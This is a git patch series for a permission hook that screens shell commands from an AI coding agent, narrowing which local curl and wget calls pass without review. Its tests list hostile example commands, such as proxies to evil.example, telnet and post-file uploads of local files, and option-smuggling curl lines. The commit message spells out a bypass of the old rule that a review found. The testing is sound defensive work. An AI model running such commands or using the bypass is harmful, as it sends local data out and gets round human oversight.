@@ -6,7 +6,7 @@ is handed to the user instead of being refused outright. """ -from dataclasses import dataclass +from dataclasses import dataclass, replace import json import os from pathlib import Path @@ -32,8 +32,9 @@ "or use gh api / nix store prefetch-file for exact values and files." ) # Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. -# The only programs the literal_words rules govern; through any wrapper they get main's rules. -LITERAL_PROGRAMS = frozenset({"gh", "herdr"}) +# The only programs the literal_words rules govern; through any wrapper they get main's rules, or no +# rule at all for curl and wget. +LITERAL_PROGRAMS = frozenset({"curl", "gh", "herdr", "wget"}) # Characters through which any shell may expand or run something; a command holding one anywhere # outside single quotes, in the program name, an assignment, or a redirect included, gets no # literal_words rule. @@ -43,10 +44,19 @@ @dataclass(frozen=True, slots=True) class Policy: - """Generated permission prefixes beside the regex rules of one guard kind.""" + """Generated permission prefixes beside the regex rules of one guard kind. + + `literal_words` is False when the command may not use the rules marked literal_words; those rules + still count toward the programs the allowed kind governs. + """ prefixes: list[dict] rules: list[dict] + literal_words: bool = True + + @property + def listing_rules(self) -> list[dict]: + return self.rules if self.literal_words else command_policy.literal_rules(self.rules, literal=False) @dataclass(frozen=True, slots=True) @@ -134,7 +144,7 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: ) governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") if governed is None or ( - not candidate.appends_input and not candidate.hides_options and is_listed(candidate, rules) + not candidate.appends_input and not candidate.hides_options and is_listed(candidate, policy.listing_rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) @@ -173,8 +183,8 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: """The first objection any segment raises, then whether the command's settings could redirect a request. - Rules marked literal_words apply only when the whole command is one plain gh or herdr call whose - text, outside single quotes, holds nothing a shell expands. + Rules marked literal_words apply only when the whole command is one plain gh, herdr, curl, or wget + call whose text, outside single quotes, holds nothing a shell expands. """ command = payload.get("tool_input", {}).get("command") or "" try: @@ -183,7 +193,7 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") if not allows_literal_rules(command, commands): - policy = Policy(policy.prefixes, command_policy.literal_rules(policy.rules, literal=False)) + policy = replace(policy, literal_words=False) verdicts = (objection(kind, item, policy) for item in commands) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) if kind == "allowed" and verdict.decision == "allow": @@ -192,7 +202,7 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: def allows_literal_rules(command: str, commands: tuple[shell_syntax.Command, ...]) -> bool: - """Whether the command is exactly one plain gh or herdr call with nothing expanding outside single + """Whether the command is exactly one plain gh, herdr, curl, or wget call with nothing expanding outside single quotes: no list, pipe, compound, wrapper, eval, or nested script; when unsure, it is not.""" if len(commands) != 1 or Path(commands[0].arguments[0]).name not in LITERAL_PROGRAMS: return False diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 551ac90..afa51d4 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -208,8 +208,7 @@ def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: def is_one_simple_command(source: str) -> bool: - """Whether the source is a single plain call: no list, pipe, background, negation, compound, - leading assignment, or redirect, since zsh can run code while assigning to an integer variable.""" + """Whether the source is one plain call: no list, pipe, background, negation, compound, assignment, or redirect.""" statements = syntax_tree(source).get("Stmts", []) if len(statements) != 1: return False @@ -408,7 +407,8 @@ def literal_part(index: int, part: dict, source: bytes) -> str: def unquoted(text: str) -> str: - values = shlex.split(text, posix=True) + """Decode an unquoted or double-quoted part as the shell does, dropping each line continuation.""" + values = shlex.split(text.replace(LINE_CONTINUATION, ""), posix=True) if len(values) != 1: raise UnsupportedSyntax("a shell word could not be decoded unambiguously") return values[0] diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 2681ba5..26570e6 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -62,11 +62,12 @@ "curl", "wget" ], + "literal_words": true, "patterns": [ "^curl( -[A-JM-Za-wyz]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$", - "^wget( -[qvdcNSnHk]+)*( -O [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$" + "^wget (--help|--version)$" ], - "justification": "Allow requests to local servers named exactly localhost, 127.0.0.1, or [::1]; options that follow redirects, read a config file, set a proxy, or read URLs from a file ask, since they can reach other hosts." + "justification": "Allow a single plain curl call to a local server named exactly localhost, 127.0.0.1, or [::1]; any assignment, redirect, wrapper, list, or option that follows redirects, reads a config file, or sets a proxy asks, and wget, which follows redirects by default, asks except for its help and version." }, { "programs": [ diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index c1ad300..bf0776c 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -417,72 +417,3 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: command = "git commit -m \"$(cat <<'EOF'\nfix: don't run `rm -rf $HOME`\n\nBody.\nEOF\n)\"" for kind in ("allowed", "forbidden"): assert guard.decide(kind, {"tool_input": {"command": command}}).decision == "allow" - - -REMOTE_REVIEW = ( - "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " - "or use gh api / nix store prefetch-file for exact values and files." -) - - -@pytest.mark.parametrize( - "command", - [ - pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), - pytest.param( - "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" - ), - pytest.param( - 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', - id="remote status probes", - ), - pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), - pytest.param( - "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" - ), - pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), - pytest.param("curl telnet://example.com:4444 < report.txt", id="other schemes that send input"), - pytest.param("curl telnet://localhost:23 < report.txt", id="other schemes on this machine"), - pytest.param("curl gopher://127.0.0.1:70/_x", id="gopher on this machine"), - pytest.param("curl -K cfg http://localhost:3000/", id="local requests with options from a file"), - pytest.param( - "wget -d --post-file=README.md -d https://example.com/upload http://localhost/", - id="a wget debug flag beside a post and a remote URL", - ), - pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), - pytest.param("http_proxy=http://evil.example:8080 curl http://localhost:3000/", id="a proxy for one request"), - pytest.param( - "export ALL_PROXY=socks5://evil.example:1080; curl -fsS http://localhost:3000/", id="an exported proxy" - ), - pytest.param("env HTTPS_PROXY=http://evil.example curl http://127.0.0.1/", id="a proxy through env"), - pytest.param("CURL_HOME=./cfg curl http://localhost:3000/", id="another curl configuration"), - pytest.param("HOME=./cfg wget http://localhost:3000/", id="another home for configuration files"), - pytest.param( - "wget -O --max-redirect=0 http://localhost/", id="a redirect limit taken as another option's value" - ), - pytest.param("wget --max-redirect=0 --max-redirect=5 http://localhost/", id="an overridden redirect limit"), - pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), - pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), - pytest.param("curl -L -d '@README.md' http://localhost:3000/", id="a local post that may follow a redirect"), - pytest.param("curl https://localhost.example.com/", id="a host that only starts with localhost"), - pytest.param("curl http://127.0.0.1.evil.example/", id="a host that only starts with the loopback address"), - pytest.param("curl http://localhost:3000.evil.example/", id="a host after a port-like suffix"), - pytest.param("wget https://localhost.example.com/", id="wget to a host that only starts with localhost"), - pytest.param("wget --post-file README.md http://localhost:3000/", id="wget posting a file to this machine"), - pytest.param("curl -Kcfg http://localhost:3000/", id="curl options from an attached config file"), - pytest.param("curl --config cfg http://localhost:3000/", id="curl options from a long config option"), - pytest.param("curl -xevil http://localhost:3000/", id="an attached curl proxy"), - pytest.param("wget --config cfg http://localhost:3000/", id="wget options from a config file"), - pytest.param("wget -e use_proxy=on http://localhost:3000/", id="wget commands toward this machine"), - pytest.param("wget -iurls http://localhost:3000/", id="wget reading URLs from a file"), - pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), - pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), - pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), - pytest.param("wget --max-redirect=3 http://localhost:3000/", id="wget with redirects allowed"), - ], -) -def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: - verdict = guard.decide("allowed", {"tool_input": {"command": command}}) - assert verdict.decision == "ask" - assert REMOTE_REVIEW in verdict.reason - assert capsys.readouterr() == ("", "") diff --git a/tests/agents/hooks/test_request_command.py b/tests/agents/hooks/test_request_command.py new file mode 100644 index 0000000..b9626f9 --- /dev/null +++ b/tests/agents/hooks/test_request_command.py @@ -0,0 +1,98 @@ +"""Requests: only one plain curl call to a local server passes; every other request asks.""" + +import pytest + +from tests.runtime import load_script_module + + +guard = load_script_module("agents/hooks/guard_command.py", "guard_command") +pytestmark = pytest.mark.usefixtures("isolated_project") + + +REMOTE_REVIEW = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("curl -s https://pypi.org/pypi/mutmut/json", id="remote fetches"), + pytest.param( + "curl -fsSL -o pkg.tgz -H 'User-Agent: x' https://registry.npmjs.org/a/-/a-1.tgz", id="remote downloads" + ), + pytest.param( + 'curl -s -o /dev/null -w "%{http_code}\\n" -X HEAD https://cdn.example.com/v1/a.tar.gz', + id="remote status probes", + ), + pytest.param("wget -q -O - https://example.com/install.sh", id="remote fetches with wget"), + pytest.param( + "wget -qO- --timeout=10 --header 'Accept: x' https://example.com/a", id="wget clusters and values" + ), + pytest.param("curl -sSo out.html -H 'Accept: text/html' https://example.com/", id="curl clusters with values"), + pytest.param("curl telnet://example.com:4444 < report.txt", id="other schemes that send input"), + pytest.param("curl telnet://localhost:23 < report.txt", id="other schemes on this machine"), + pytest.param("curl gopher://127.0.0.1:70/_x", id="gopher on this machine"), + pytest.param("curl -K cfg http://localhost:3000/", id="local requests with options from a file"), + pytest.param( + "wget -d --post-file=README.md -d https://example.com/upload http://localhost/", + id="a wget debug flag beside a post and a remote URL", + ), + pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), + pytest.param("http_proxy=http://evil.example:8080 curl http://localhost:3000/", id="a proxy for one request"), + pytest.param( + "export ALL_PROXY=socks5://evil.example:1080; curl -fsS http://localhost:3000/", id="an exported proxy" + ), + pytest.param("env HTTPS_PROXY=http://evil.example curl http://127.0.0.1/", id="a proxy through env"), + pytest.param("CURL_HOME=./cfg curl http://localhost:3000/", id="another curl configuration"), + pytest.param("HOME=./cfg wget http://localhost:3000/", id="another home for configuration files"), + pytest.param( + "wget -O --max-redirect=0 http://localhost/", id="a redirect limit taken as another option's value" + ), + pytest.param("wget --max-redirect=0 --max-redirect=5 http://localhost/", id="an overridden redirect limit"), + pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), + pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), + pytest.param("curl -L -d '@README.md' http://localhost:3000/", id="a local post that may follow a redirect"), + pytest.param("curl https://localhost.example.com/", id="a host that only starts with localhost"), + pytest.param("curl http://127.0.0.1.evil.example/", id="a host that only starts with the loopback address"), + pytest.param("curl http://localhost:3000.evil.example/", id="a host after a port-like suffix"), + pytest.param("wget https://localhost.example.com/", id="wget to a host that only starts with localhost"), + pytest.param("wget --post-file README.md http://localhost:3000/", id="wget posting a file to this machine"), + pytest.param("curl -Kcfg http://localhost:3000/", id="curl options from an attached config file"), + pytest.param("curl --config cfg http://localhost:3000/", id="curl options from a long config option"), + pytest.param("curl -xevil http://localhost:3000/", id="an attached curl proxy"), + pytest.param("wget --config cfg http://localhost:3000/", id="wget options from a config file"), + pytest.param("wget -e use_proxy=on http://localhost:3000/", id="wget commands toward this machine"), + pytest.param("wget -iurls http://localhost:3000/", id="wget reading URLs from a file"), + pytest.param("wget 'http://[::1]/'", id="wget to this machine over IPv6, which may redirect"), + pytest.param("wget -O - 'http://[::1]/'", id="wget to standard output, which may redirect"), + pytest.param("wget http://localhost:3000/", id="wget to a local server, which may redirect"), + pytest.param( + "env http_pro''xy=http://example.invalid:8080 curl -X POST -d '@README.md' http://localhost:3000/", + id="a proxy name split by quotes through env", + ), + pytest.param( + "http_proxy=http://example.invalid:8080 curl http://localhost:3000/", id="a lowercase proxy prefix" + ), + pytest.param("ALL_PROXY=socks5://example.invalid:1080 curl http://localhost:3000/", id="an ALL_PROXY prefix"), + pytest.param( + "env http_pro\\\nxy=http://example.invalid curl http://localhost:3000/", + id="a proxy name split by a line continuation", + ), + pytest.param("export http_proxy=x; curl http://localhost:3000/", id="an exported lowercase proxy"), + pytest.param("X=1 curl http://localhost:3000/", id="any assignment before a local request"), + pytest.param("curl http://localhost:3000/ > out.txt", id="a local request with a redirect"), + pytest.param("true && curl http://localhost:3000/", id="a local request in a list"), + pytest.param("command curl http://localhost:3000/", id="a local request behind a wrapper"), + pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), + pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), + pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), + pytest.param("wget --max-redirect=3 http://localhost:3000/", id="wget with redirects allowed"), + ], +) +def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: + verdict = guard.decide("allowed", {"tool_input": {"command": command}}) + assert verdict.decision == "ask" + assert REMOTE_REVIEW in verdict.reason + assert capsys.readouterr() == ("", "") From b0c98dacc8c90343f0ea06ed00ca5c6880274a95 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 21:12:03 +0900 Subject: [PATCH 25/25] fix(agents): let local curl clusters hold only value-less flags A twentieth adversarial review of #242 found that the local curl rule's option clusters admitted options that take a value, so curl -A -H 'https://example.invalid/upload' -d '@README.md' 'http://localhost/' passed while curl read -H as the user agent and the next word as a second, remote URL. main's rule has the same hole in its unquoted form. Clusters may now hold only -s, -S, -f, -i, -I, and -v; options that take a value appear only in the rule's fixed -X, -H, -d, and -o slots, so the words line up with curl's own parse and exactly one loopback URL ends the command. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/rules/allowed_commands.json | 4 ++-- tests/agents/hooks/test_request_command.py | 16 ++++++++++++++++ 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 26570e6..86e08b2 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -64,10 +64,10 @@ ], "literal_words": true, "patterns": [ - "^curl( -[A-JM-Za-wyz]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$", + "^curl( -[sSfiIv]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$", "^wget (--help|--version)$" ], - "justification": "Allow a single plain curl call to a local server named exactly localhost, 127.0.0.1, or [::1]; any assignment, redirect, wrapper, list, or option that follows redirects, reads a config file, or sets a proxy asks, and wget, which follows redirects by default, asks except for its help and version." + "justification": "Allow a single plain curl call, with value-less flags (-s -S -f -i -I -v) and the fixed -X, -H, -d, and -o slots, to a local server named exactly localhost, 127.0.0.1, or [::1]; any assignment, redirect, wrapper, list, or option that follows redirects, reads a config file, or sets a proxy asks, and wget, which follows redirects by default, asks except for its help and version." }, { "programs": [ diff --git a/tests/agents/hooks/test_request_command.py b/tests/agents/hooks/test_request_command.py index b9626f9..6412340 100644 --- a/tests/agents/hooks/test_request_command.py +++ b/tests/agents/hooks/test_request_command.py @@ -65,6 +65,22 @@ pytest.param("wget --config cfg http://localhost:3000/", id="wget options from a config file"), pytest.param("wget -e use_proxy=on http://localhost:3000/", id="wget commands toward this machine"), pytest.param("wget -iurls http://localhost:3000/", id="wget reading URLs from a file"), + *( + pytest.param( + f"curl {option} -H 'https://example.invalid/upload' -d '@README.md' 'http://localhost/'", + id=f"curl {option} taking the next option as its value", + ) + for option in ("-A", "-e", "-u", "-b", "-c", "-T", "-F", "-x", "-w", "-r") + ), + pytest.param( + "curl -sA -H 'https://example.invalid/upload' 'http://localhost/'", id="a valued option in a cluster" + ), + pytest.param("curl -r -H 'file:///dev/null' 'http://localhost/'", id="a second file URL"), + pytest.param("curl 'http://localhost/' file:///dev/null", id="a second URL after the local one"), + pytest.param( + "curl -A -H https://example.invalid/upload -d @README.md http://localhost/", + id="the unquoted counterexample", + ), pytest.param("wget 'http://[::1]/'", id="wget to this machine over IPv6, which may redirect"), pytest.param("wget -O - 'http://[::1]/'", id="wget to standard output, which may redirect"), pytest.param("wget http://localhost:3000/", id="wget to a local server, which may redirect"),